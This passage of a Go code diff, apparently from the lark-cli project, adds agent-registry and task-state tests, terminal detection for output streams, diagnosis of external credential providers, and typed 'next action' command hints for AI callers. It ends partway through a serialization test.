Factory: okFactory(),
|
||||
Label: "测试 provider",
|
||||
AgentRefFormat: "t1:<agent_id>",
|
||||
AgentIDSource: "在 T1 控制台获取",
|
||||
Kind: KindInstance,
|
||||
RequiredScopes: []string{"t1:chat:write"},
|
||||
Identities: []IdentitySpec{{Type: IdentityUser}},
|
||||
})
|
||||
info, ok := Info("t1")
|
||||
if !ok || info.Label != "测试 provider" || info.Kind != KindInstance {
|
||||
t.Fatalf("Info(t1) = %+v, %v", info, ok)
|
||||
}
|
||||
if _, ok := Info("nonexistent"); ok {
|
||||
t.Fatal("Info(nonexistent) should return ok=false")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegistryUnknownScheme(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
// unknown scheme: the factory is never called, so deps value is irrelevant; use zero-value Deps{}.
|
||||
_, err := providerFor("nosuch", "agt_x", Deps{})
|
||||
if err == nil {
|
||||
t.Fatal("unknown scheme should return an error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegistryKnownScheme(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
// The factory passes the zero-value Deps probe (empty agentID → a valid
|
||||
// provider) and only errors on a real construction, staying compatible with
|
||||
// the registration-time probe.
|
||||
Register("stub", testInfo("stub", func(f Deps, agentID string) (*Provider, error) {
|
||||
if agentID == "" {
|
||||
return okProvider(), nil
|
||||
}
|
||||
return nil, errors.New("stub called")
|
||||
}))
|
||||
_, err := providerFor("stub", "agt_x", Deps{})
|
||||
if err == nil || err.Error() != "stub called" {
|
||||
t.Fatalf("should reach the stub factory, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestKnownSchemesEmpty(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
if got := KnownSchemes(); got != "(none)" {
|
||||
t.Fatalf("an empty registry should return \"(none)\", got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisteredSchemesSorted(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
// Register out of order to verify enumeration + sort stability.
|
||||
Register("gamma", testInfo("gamma", okFactory()))
|
||||
Register("alpha", testInfo("alpha", okFactory()))
|
||||
Register("beta", testInfo("beta", okFactory()))
|
||||
got := RegisteredSchemes()
|
||||
want := []string{"alpha", "beta", "gamma"}
|
||||
if !reflect.DeepEqual(got, want) {
|
||||
t.Fatalf("RegisteredSchemes should enumerate and sort, want %v got %v", want, got)
|
||||
}
|
||||
// knownSchemes reuses RegisteredSchemes; verify the comma joining.
|
||||
if s := KnownSchemes(); s != "alpha, beta, gamma" {
|
||||
t.Fatalf("knownSchemes should be comma-joined, got %q", s)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveInvalidRef(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
// Missing the <scheme>:<agent_id> separator, so ParseRef errors and Resolve propagates it as-is.
|
||||
_, err := Resolve("no-colon", Deps{})
|
||||
if !errors.Is(err, ErrInvalidRef) {
|
||||
t.Fatalf("an invalid ref should propagate ErrInvalidRef, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveUnknownScheme(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
// The ref is valid but the scheme is unregistered, so the error comes from providerFor.
|
||||
_, err := Resolve("nosuch:agt_x", Deps{})
|
||||
if err == nil {
|
||||
t.Fatal("an unregistered scheme should return an error")
|
||||
}
|
||||
if errors.Is(err, ErrInvalidRef) {
|
||||
t.Fatalf("an unregistered scheme should not be ErrInvalidRef, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveSuccess(t *testing.T) {
|
||||
swapRegistry(t, map[string]ProviderInfo{})
|
||||
sentinel := okProvider()
|
||||
var gotDeps Deps
|
||||
var gotAgentID string
|
||||
Register("demo", testInfo("demo", func(deps Deps, agentID string) (*Provider, error) {
|
||||
gotDeps = deps
|
||||
gotAgentID = agentID
|
||||
return sentinel, nil
|
||||
}))
|
||||
deps := Deps{}
|
||||
p, err := Resolve("demo:agt_42", deps)
|
||||
if err != nil {
|
||||
t.Fatalf("a valid ref + registered scheme should succeed, got %v", err)
|
||||
}
|
||||
if p != sentinel {
|
||||
t.Fatalf("should return the Provider built by the factory, got %v", p)
|
||||
}
|
||||
if gotAgentID != "agt_42" {
|
||||
t.Fatalf("factory should receive the parsed agentID, got %q", gotAgentID)
|
||||
}
|
||||
if gotDeps != deps {
|
||||
t.Fatalf("factory should receive the passed-in Deps, got %+v", gotDeps)
|
||||
}
|
||||
}
|
||||
26
internal/agent/spi.go
Normal file
26
internal/agent/spi.go
Normal file
@@ -0,0 +1,26 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
// IdentityType is the closed set of values for IdentitySpec.Type (validated at
|
||||
// Register time to guard against typos).
|
||||
type IdentityType string
|
||||
|
||||
const (
|
||||
IdentityUser IdentityType = "user"
|
||||
IdentityBot IdentityType = "bot"
|
||||
)
|
||||
|
||||
// IdentitySpec declares a supported identity and its precondition, if any.
|
||||
type IdentitySpec struct {
|
||||
Type IdentityType `json:"type"` // IdentityUser | IdentityBot
|
||||
Precondition string `json:"precondition,omitempty"`
|
||||
}
|
||||
|
||||
// AgentSummary is one discoverable agent in `agent list <scheme>` output.
|
||||
type AgentSummary struct {
|
||||
AgentRef string `json:"agent_ref"`
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description,omitempty"`
|
||||
}
|
||||
35
internal/agent/state.go
Normal file
35
internal/agent/state.go
Normal file
@@ -0,0 +1,35 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
// TaskState is the A2A task state, constant across all providers (9 states).
|
||||
type TaskState string
|
||||
|
||||
const (
|
||||
StateSubmitted TaskState = "submitted"
|
||||
StateWorking TaskState = "working"
|
||||
StateInputRequired TaskState = "input_required"
|
||||
StateAuthRequired TaskState = "auth_required"
|
||||
StateCompleted TaskState = "completed"
|
||||
StateFailed TaskState = "failed"
|
||||
StateCanceled TaskState = "canceled"
|
||||
StateRejected TaskState = "rejected"
|
||||
StateUnknown TaskState = "unknown"
|
||||
)
|
||||
|
||||
// IsTerminal reports whether the task has entered a terminal state.
|
||||
func (s TaskState) IsTerminal() bool {
|
||||
switch s {
|
||||
case StateCompleted, StateFailed, StateCanceled, StateRejected:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// ShouldStopPolling reports whether polling should stop: terminal state, or
|
||||
// awaiting additional input / re-authentication.
|
||||
func (s TaskState) ShouldStopPolling() bool {
|
||||
return s.IsTerminal() || s == StateInputRequired || s == StateAuthRequired
|
||||
}
|
||||
34
internal/agent/state_test.go
Normal file
34
internal/agent/state_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestIsTerminal(t *testing.T) {
|
||||
cases := map[TaskState]bool{
|
||||
StateSubmitted: false, StateWorking: false, StateInputRequired: false,
|
||||
StateAuthRequired: false, StateCompleted: true, StateFailed: true,
|
||||
StateCanceled: true, StateRejected: true, StateUnknown: false,
|
||||
}
|
||||
for s, want := range cases {
|
||||
if got := s.IsTerminal(); got != want {
|
||||
t.Errorf("%s.IsTerminal()=%v want %v", s, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldStopPolling(t *testing.T) {
|
||||
stop := []TaskState{StateCompleted, StateFailed, StateCanceled, StateRejected, StateInputRequired, StateAuthRequired}
|
||||
cont := []TaskState{StateSubmitted, StateWorking, StateUnknown}
|
||||
for _, s := range stop {
|
||||
if !s.ShouldStopPolling() {
|
||||
t.Errorf("%s should stop polling", s)
|
||||
}
|
||||
}
|
||||
for _, s := range cont {
|
||||
if s.ShouldStopPolling() {
|
||||
t.Errorf("%s should keep polling", s)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -18,6 +18,9 @@ type IOStreams struct {
|
||||
Out io.Writer
|
||||
ErrOut io.Writer
|
||||
IsTerminal bool
|
||||
// OutIsTerminal reports whether Out is an interactive terminal. Mirrors
|
||||
// IsTerminal; computed once in NewIOStreams and assignable directly in tests.
|
||||
OutIsTerminal bool
|
||||
// StderrIsTerminal reports whether ErrOut is an interactive terminal.
|
||||
// Advisory warnings written to stderr (e.g. the proxy notice) gate on this
|
||||
// so they stay out of non-interactive output (pipes, CI, agent runs).
|
||||
@@ -27,19 +30,24 @@ type IOStreams struct {
|
||||
}
|
||||
|
||||
// NewIOStreams builds an IOStreams from arbitrary readers/writers.
|
||||
// IsTerminal / StderrIsTerminal are derived from in's / errOut's underlying
|
||||
// *os.File, if any; non-file streams (bytes.Buffer, strings.Reader, …) yield
|
||||
// false.
|
||||
// IsTerminal / OutIsTerminal / StderrIsTerminal are each derived from the
|
||||
// underlying *os.File of in / out / errOut respectively; non-file
|
||||
// readers/writers (bytes.Buffer, strings.Reader, …) yield false.
|
||||
func NewIOStreams(in io.Reader, out, errOut io.Writer) *IOStreams {
|
||||
isTerminal := false
|
||||
if f, ok := in.(*os.File); ok {
|
||||
isTerminal = term.IsTerminal(int(f.Fd()))
|
||||
fileIsTerminal := func(v any) bool {
|
||||
if f, ok := v.(*os.File); ok {
|
||||
return term.IsTerminal(int(f.Fd()))
|
||||
}
|
||||
return false
|
||||
}
|
||||
stderrIsTerminal := false
|
||||
if f, ok := errOut.(*os.File); ok {
|
||||
stderrIsTerminal = term.IsTerminal(int(f.Fd()))
|
||||
return &IOStreams{
|
||||
In: in,
|
||||
Out: out,
|
||||
ErrOut: errOut,
|
||||
IsTerminal: fileIsTerminal(in),
|
||||
OutIsTerminal: fileIsTerminal(out),
|
||||
StderrIsTerminal: fileIsTerminal(errOut),
|
||||
}
|
||||
return &IOStreams{In: in, Out: out, ErrOut: errOut, IsTerminal: isTerminal, StderrIsTerminal: stderrIsTerminal}
|
||||
}
|
||||
|
||||
// SystemIO creates an IOStreams wired to the process's standard file descriptors.
|
||||
|
||||
31
internal/cmdutil/iostreams_test.go
Normal file
31
internal/cmdutil/iostreams_test.go
Normal file
@@ -0,0 +1,31 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package cmdutil
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"os"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestNewIOStreamsTerminalFlagsNonFile(t *testing.T) {
|
||||
s := NewIOStreams(&bytes.Buffer{}, &bytes.Buffer{}, &bytes.Buffer{})
|
||||
if s.IsTerminal || s.OutIsTerminal || s.StderrIsTerminal {
|
||||
t.Errorf("non-file streams must not be terminals: in=%v out=%v err=%v",
|
||||
s.IsTerminal, s.OutIsTerminal, s.StderrIsTerminal)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewIOStreamsTerminalFlagsPipe(t *testing.T) {
|
||||
r, w, err := os.Pipe()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer r.Close()
|
||||
defer w.Close()
|
||||
s := NewIOStreams(r, w, w)
|
||||
if s.OutIsTerminal || s.StderrIsTerminal {
|
||||
t.Errorf("os.Pipe must not be a terminal: out=%v err=%v", s.OutIsTerminal, s.StderrIsTerminal)
|
||||
}
|
||||
}
|
||||
@@ -13,6 +13,7 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
extcred "github.com/larksuite/cli/extension/credential"
|
||||
larkauth "github.com/larksuite/cli/internal/auth"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
@@ -61,12 +62,131 @@ func Diagnose(ctx context.Context, f *cmdutil.Factory, cfg *core.CliConfig, veri
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
// An external provider mints tokens on demand and blocks interactive auth,
|
||||
// so the built-in keychain heuristics and "auth login" hints don't apply.
|
||||
if provider := activeExternalProvider(ctx, f); provider != "" {
|
||||
return diagnoseExternal(ctx, f, cfg, provider, verify)
|
||||
}
|
||||
return Result{
|
||||
Bot: diagnoseBot(ctx, f, cfg, verify),
|
||||
User: diagnoseUser(ctx, f, cfg, verify),
|
||||
}
|
||||
}
|
||||
|
||||
// activeExternalProvider returns the active extension provider name, or "".
|
||||
// An error degrades to the built-in path: an unreachable provider would already
|
||||
// have failed the f.Config() that produced cfg.
|
||||
func activeExternalProvider(ctx context.Context, f *cmdutil.Factory) string {
|
||||
if f == nil || f.Credential == nil {
|
||||
return ""
|
||||
}
|
||||
name, err := f.Credential.ActiveExtensionProviderName(ctx)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func diagnoseExternal(ctx context.Context, f *cmdutil.Factory, cfg *core.CliConfig, provider string, verify bool) Result {
|
||||
if cfg == nil || cfg.AppID == "" {
|
||||
notConfigured := Identity{
|
||||
Status: StatusNotConfigured,
|
||||
Message: "not configured (missing app config)",
|
||||
Hint: externalCredentialHint(provider),
|
||||
}
|
||||
return Result{Bot: notConfigured, User: notConfigured}
|
||||
}
|
||||
// SupportedIdentities == 0 is "unspecified" — treat as both, per CanBot.
|
||||
ids := extcred.IdentitySupport(cfg.SupportedIdentities)
|
||||
supportsBot := cfg.SupportedIdentities == 0 || ids.Has(extcred.SupportsBot)
|
||||
supportsUser := cfg.SupportedIdentities == 0 || ids.Has(extcred.SupportsUser)
|
||||
return Result{
|
||||
Bot: diagnoseExternalBot(ctx, f, cfg, provider, supportsBot, verify),
|
||||
User: diagnoseExternalUser(ctx, f, cfg, provider, supportsUser, verify),
|
||||
}
|
||||
}
|
||||
|
||||
func diagnoseExternalBot(ctx context.Context, f *cmdutil.Factory, cfg *core.CliConfig, provider string, supported, verify bool) Identity {
|
||||
if !supported {
|
||||
return notProvidedExternally("Bot", provider)
|
||||
}
|
||||
id := Identity{Status: StatusReady, Available: true, Message: "Bot identity: ready (provided by " + provider + ")"}
|
||||
if !verify {
|
||||
return id
|
||||
}
|
||||
token, err := resolveBotToken(ctx, f, cfg)
|
||||
if err != nil {
|
||||
return externalVerifyFailed(id, "Bot", provider, err)
|
||||
}
|
||||
info, err := fetchBotInfo(ctx, f, cfg, token)
|
||||
if err != nil {
|
||||
return externalVerifyFailed(id, "Bot", provider, err)
|
||||
}
|
||||
id.Verified = boolPtr(true)
|
||||
id.OpenID = info.OpenID
|
||||
id.AppName = info.AppName
|
||||
return id
|
||||
}
|
||||
|
||||
func diagnoseExternalUser(ctx context.Context, f *cmdutil.Factory, cfg *core.CliConfig, provider string, supported, verify bool) Identity {
|
||||
if !supported {
|
||||
return notProvidedExternally("User", provider)
|
||||
}
|
||||
// enrichUserInfo populates UserOpenId only after the provider returns and
|
||||
// verifies a UAT (and clears it on failure), so a resolved open id is the
|
||||
// external analogue of a keychain token being present.
|
||||
if cfg.UserOpenId == "" {
|
||||
return Identity{
|
||||
Status: StatusMissing,
|
||||
Message: "User identity: not signed in via credential source " + provider,
|
||||
Hint: externalCredentialHint(provider),
|
||||
}
|
||||
}
|
||||
id := Identity{
|
||||
Status: StatusReady,
|
||||
Available: true,
|
||||
TokenStatus: StatusReady,
|
||||
UserName: cfg.UserName,
|
||||
OpenID: cfg.UserOpenId,
|
||||
Message: "User identity: ready (provided by " + provider + ")",
|
||||
}
|
||||
if !verify {
|
||||
return id
|
||||
}
|
||||
if _, err := f.Credential.ResolveToken(ctx, credential.NewTokenSpec(core.AsUser, cfg.AppID)); err != nil {
|
||||
return externalVerifyFailed(id, "User", provider, err)
|
||||
}
|
||||
id.Verified = boolPtr(true)
|
||||
return id
|
||||
}
|
||||
|
||||
func notProvidedExternally(label, provider string) Identity {
|
||||
return Identity{
|
||||
Status: StatusNotConfigured,
|
||||
Message: label + " identity: not provided by credential source " + provider,
|
||||
Hint: externalCredentialHint(provider),
|
||||
}
|
||||
}
|
||||
|
||||
// externalVerifyFailed flips id to verify-failed, keeping any identity fields
|
||||
// (open id, user name) already resolved before the probe.
|
||||
func externalVerifyFailed(id Identity, label, provider string, err error) Identity {
|
||||
id.Available = false
|
||||
id.Verified = boolPtr(false)
|
||||
id.Status = StatusVerifyFailed
|
||||
id.TokenStatus = ""
|
||||
id.Message = label + " identity: verify failed: " + err.Error()
|
||||
id.Hint = externalCredentialHint(provider)
|
||||
return id
|
||||
}
|
||||
|
||||
// externalCredentialHint reports the constraint, not a remediation: the
|
||||
// identity is the provider's to manage, not lark-cli's to fix. What to do about
|
||||
// it is the caller's call — there may be no user to ask.
|
||||
func externalCredentialHint(provider string) string {
|
||||
return fmt.Sprintf("managed by the external credential provider %q and cannot be configured via lark-cli", provider)
|
||||
}
|
||||
|
||||
func diagnoseBot(ctx context.Context, f *cmdutil.Factory, cfg *core.CliConfig, verify bool) Identity {
|
||||
if cfg == nil || cfg.AppID == "" {
|
||||
return Identity{
|
||||
|
||||
@@ -10,9 +10,11 @@ import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
extcred "github.com/larksuite/cli/extension/credential"
|
||||
larkauth "github.com/larksuite/cli/internal/auth"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/credential"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/zalando/go-keyring"
|
||||
)
|
||||
@@ -348,3 +350,136 @@ func TestDiagnose_UserIdentityNeedsRefresh(t *testing.T) {
|
||||
t.Fatalf("token status = %q, want needs_refresh", got.User.TokenStatus)
|
||||
}
|
||||
}
|
||||
|
||||
// fakeExtProvider is a minimal credential.extcred.Provider for exercising the
|
||||
// external-credential diagnosis path. account makes the provider "active";
|
||||
// token (when set) satisfies ResolveToken during verify.
|
||||
type fakeExtProvider struct {
|
||||
name string
|
||||
account *extcred.Account
|
||||
token *extcred.Token
|
||||
}
|
||||
|
||||
func (p *fakeExtProvider) Name() string { return p.name }
|
||||
func (p *fakeExtProvider) ResolveAccount(context.Context) (*extcred.Account, error) {
|
||||
return p.account, nil
|
||||
}
|
||||
func (p *fakeExtProvider) ResolveToken(context.Context, extcred.TokenSpec) (*extcred.Token, error) {
|
||||
return p.token, nil
|
||||
}
|
||||
|
||||
func externalFactory(prov *fakeExtProvider, cfg *core.CliConfig) *cmdutil.Factory {
|
||||
cred := credential.NewCredentialProvider(
|
||||
[]extcred.Provider{prov}, nil, nil,
|
||||
func() (*http.Client, error) { return nil, nil },
|
||||
)
|
||||
return &cmdutil.Factory{
|
||||
Config: func() (*core.CliConfig, error) { return cfg, nil },
|
||||
Credential: cred,
|
||||
IOStreams: &cmdutil.IOStreams{},
|
||||
}
|
||||
}
|
||||
|
||||
// assertExternalHint locks the contract that an external-provider hint never
|
||||
// points at interactive commands blocked under an external provider.
|
||||
func assertExternalHint(t *testing.T, hint string) {
|
||||
t.Helper()
|
||||
if hint == "" {
|
||||
t.Fatalf("hint empty, want external guidance")
|
||||
}
|
||||
for _, blocked := range []string{"auth login", "config --help"} {
|
||||
if strings.Contains(hint, blocked) {
|
||||
t.Fatalf("hint %q must not point at %q (blocked under external provider)", hint, blocked)
|
||||
}
|
||||
}
|
||||
if !strings.Contains(hint, "external") {
|
||||
t.Fatalf("hint %q should explain credentials are external", hint)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDiagnose_External_UserReady(t *testing.T) {
|
||||
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsAll), UserOpenId: "ou_x", UserName: "Alice"}
|
||||
f := externalFactory(&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}, cfg)
|
||||
|
||||
got := Diagnose(context.Background(), f, cfg, false)
|
||||
// The bug this guards: the built-in path read the keychain (empty under an
|
||||
// external provider) and reported the user as missing. Now availability
|
||||
// follows the resolved account, so a signed-in user reads as ready.
|
||||
if !got.User.Available || got.User.Status != StatusReady || got.User.TokenStatus != StatusReady {
|
||||
t.Fatalf("user = %#v, want ready/available", got.User)
|
||||
}
|
||||
if got.User.OpenID != "ou_x" || got.User.UserName != "Alice" {
|
||||
t.Fatalf("user identity = %#v", got.User)
|
||||
}
|
||||
if got.User.Hint != "" {
|
||||
t.Fatalf("hint = %q, want empty when available", got.User.Hint)
|
||||
}
|
||||
if !got.Bot.Available || got.Bot.Status != StatusReady {
|
||||
t.Fatalf("bot = %#v, want ready/available", got.Bot)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDiagnose_External_UserNotSignedIn(t *testing.T) {
|
||||
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsAll)}
|
||||
f := externalFactory(&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}, cfg)
|
||||
|
||||
got := Diagnose(context.Background(), f, cfg, false)
|
||||
if got.User.Available || got.User.Status != StatusMissing {
|
||||
t.Fatalf("user = %#v, want missing/unavailable", got.User)
|
||||
}
|
||||
assertExternalHint(t, got.User.Hint)
|
||||
}
|
||||
|
||||
func TestDiagnose_External_BotOnly(t *testing.T) {
|
||||
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsBot), UserOpenId: "ou_x"}
|
||||
f := externalFactory(&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}, cfg)
|
||||
|
||||
got := Diagnose(context.Background(), f, cfg, false)
|
||||
if !got.Bot.Available || got.Bot.Status != StatusReady {
|
||||
t.Fatalf("bot = %#v, want ready/available", got.Bot)
|
||||
}
|
||||
// Provider declares bot-only: user is unavailable even though an open id is
|
||||
// present, and the hint is external (not "auth login").
|
||||
if got.User.Available || got.User.Status != StatusNotConfigured {
|
||||
t.Fatalf("user = %#v, want not_configured/unavailable", got.User)
|
||||
}
|
||||
assertExternalHint(t, got.User.Hint)
|
||||
}
|
||||
|
||||
func TestDiagnose_External_UserOnly(t *testing.T) {
|
||||
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandLark, SupportedIdentities: uint8(extcred.SupportsUser), UserOpenId: "ou_x", UserName: "Bob"}
|
||||
f := externalFactory(&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}, cfg)
|
||||
|
||||
got := Diagnose(context.Background(), f, cfg, false)
|
||||
if !got.User.Available || got.User.Status != StatusReady {
|
||||
t.Fatalf("user = %#v, want ready/available", got.User)
|
||||
}
|
||||
if got.Bot.Available || got.Bot.Status != StatusNotConfigured {
|
||||
t.Fatalf("bot = %#v, want not_configured/unavailable", got.Bot)
|
||||
}
|
||||
assertExternalHint(t, got.Bot.Hint)
|
||||
}
|
||||
|
||||
func TestDiagnose_External_VerifyUserResolvesToken(t *testing.T) {
|
||||
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsUser), UserOpenId: "ou_x", UserName: "Alice"}
|
||||
f := externalFactory(&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}, token: &extcred.Token{Value: "ext-uat"}}, cfg)
|
||||
|
||||
got := Diagnose(context.Background(), f, cfg, true)
|
||||
if !got.User.Available || got.User.Verified == nil || !*got.User.Verified {
|
||||
t.Fatalf("user = %#v, want available and verified", got.User)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDiagnose_External_VerifyUserTokenUnavailable(t *testing.T) {
|
||||
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsUser), UserOpenId: "ou_x"}
|
||||
f := externalFactory(&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}, cfg)
|
||||
|
||||
got := Diagnose(context.Background(), f, cfg, true)
|
||||
if got.User.Available || got.User.Status != StatusVerifyFailed {
|
||||
t.Fatalf("user = %#v, want verify_failed/unavailable", got.User)
|
||||
}
|
||||
if got.User.Verified == nil || *got.User.Verified {
|
||||
t.Fatalf("verified = %v, want false", got.User.Verified)
|
||||
}
|
||||
assertExternalHint(t, got.User.Hint)
|
||||
}
|
||||
|
||||
@@ -15,8 +15,20 @@ type Envelope struct {
|
||||
|
||||
// Meta carries optional metadata in envelope responses.
|
||||
type Meta struct {
|
||||
Count int `json:"count,omitempty"`
|
||||
Rollback string `json:"rollback,omitempty"`
|
||||
Count int `json:"count,omitempty"`
|
||||
Rollback string `json:"rollback,omitempty"`
|
||||
Next []NextAction `json:"next,omitempty"`
|
||||
}
|
||||
|
||||
// NextAction is a typed "suggested next command" that an AI caller can execute
|
||||
// directly.
|
||||
type NextAction struct {
|
||||
Label string `json:"label"`
|
||||
Command string `json:"command"`
|
||||
// Template, when true, marks a Command that contains <...> placeholders and
|
||||
// must be fully substituted by the caller before execution; it is not
|
||||
// directly executable as-is. Directly executable commands omit the field.
|
||||
Template bool `json:"template,omitempty"`
|
||||
}
|
||||
|
||||
// PendingNotice, if set, returns system-level notices to inject as the
|
||||
|
||||
214
internal/output/envelope_test.go
Normal file
214
internal/output/envelope_test.go
Normal file
@@ -0,0 +1,214 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package output
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// marshalMeta marshals m and fails the test on error, returning the JSON bytes.
|
||||
func marshalMeta(t *testing.T, m *Meta) []byte {
|
||||
t.Helper()
|
||||
b, err := json.Marshal(m)
|
||||
if err != nil {
|
||||
t.Fatalf("json.Marshal(%#v) error = %v", m, err)
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// unmarshalMap unmarshals b into a generic map and fails the test on error.
|
||||
func unmarshalMap(t *testing.T, b []byte) map[string]interface{} {
|
||||
t.Helper()
|
||||
var got map[string]interface{}
|
||||
if err := json.Unmarshal(b, &got); err != nil {
|
||||
t.Fatalf("json.Unmarshal(%s) error = %v", b, err)
|
||||
}
|
||||
return got
|
||||
}
|
||||
|
||||
func TestMetaNextSerialization_NonEmptyRoundTrips(t *testing.T) {
|
||||
m := &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1"}}}
|
||||
|
||||
got := unmarshalMap(t, marshalMeta(t, m))
|
||||
|
||||
rawNext, ok := got["next"]
|
||||
if !ok {
|
||||
t.Fatalf("expected \"next\" key, got %#v", got)
|
||||
}
|
||||
next, ok := rawNext.([]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("next type = %T, want array", rawNext)
|
||||
}
|
||||
if len(next) != 1 {
|
||||
t.Fatalf("len(next) = %d, want 1", len(next))
|
||||
}
|
||||
action, ok := next[0].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("next[0] type = %T, want object", next[0])
|
||||
}
|
||||
if action["label"] != "poll" {
|
||||
t.Errorf("next[0].label = %v, want poll", action["label"])
|
||||
}
|
||||
if action["command"] != "lark-cli agent task get example:x t1" {
|
||||
t.Errorf("next[0].command = %v, want the poll command", action["command"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestMetaNextSerialization_NilOmitted(t *testing.T) {
|
||||
got := unmarshalMap(t, marshalMeta(t, &Meta{Count: 1}))
|
||||
|
||||
if _, ok := got["next"]; ok {
|
||||
t.Errorf("nil Next must be omitted, got %#v", got)
|
||||
}
|
||||
if got["count"] != float64(1) {
|
||||
t.Errorf("count = %v, want 1", got["count"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestMetaNextSerialization_EmptySliceOmitted(t *testing.T) {
|
||||
// A non-nil but empty slice must also be dropped by omitempty (len == 0).
|
||||
got := unmarshalMap(t, marshalMeta(t, &Meta{Next: []NextAction{}}))
|
||||
|
||||
if _, ok := got["next"]; ok {
|
||||
t.Errorf("empty Next slice must be omitted, got %#v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMetaNextSerialization_EmptyFieldsPresent(t *testing.T) {
|
||||
// A NextAction with empty fields still serializes: label/command have no
|
||||
// omitempty, so they render as empty strings and the entry stays present.
|
||||
got := unmarshalMap(t, marshalMeta(t, &Meta{Next: []NextAction{{}}}))
|
||||
|
||||
next, ok := got["next"].([]interface{})
|
||||
if !ok || len(next) != 1 {
|
||||
t.Fatalf("next = %#v, want single-element array", got["next"])
|
||||
}
|
||||
action, ok := next[0].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("next[0] type = %T, want object", next[0])
|
||||
}
|
||||
label, hasLabel := action["label"]
|
||||
command, hasCommand := action["command"]
|
||||
if !hasLabel || label != "" {
|
||||
t.Errorf("label = %v (present=%v), want empty string present", label, hasLabel)
|
||||
}
|
||||
if !hasCommand || command != "" {
|
||||
t.Errorf("command = %v (present=%v), want empty string present", command, hasCommand)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMetaNextSerialization_TemplateTruePresent(t *testing.T) {
|
||||
// A template hint (command carries <...> placeholders) must serialize the
|
||||
// marker so AI callers know it needs substitution before execution.
|
||||
m := &Meta{Next: []NextAction{{
|
||||
Label: "continue",
|
||||
Command: "lark-cli agent send example:x --context-id c1 --task-id t1 --text <你的答复>",
|
||||
Template: true,
|
||||
}}}
|
||||
|
||||
next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
|
||||
if !ok || len(next) != 1 {
|
||||
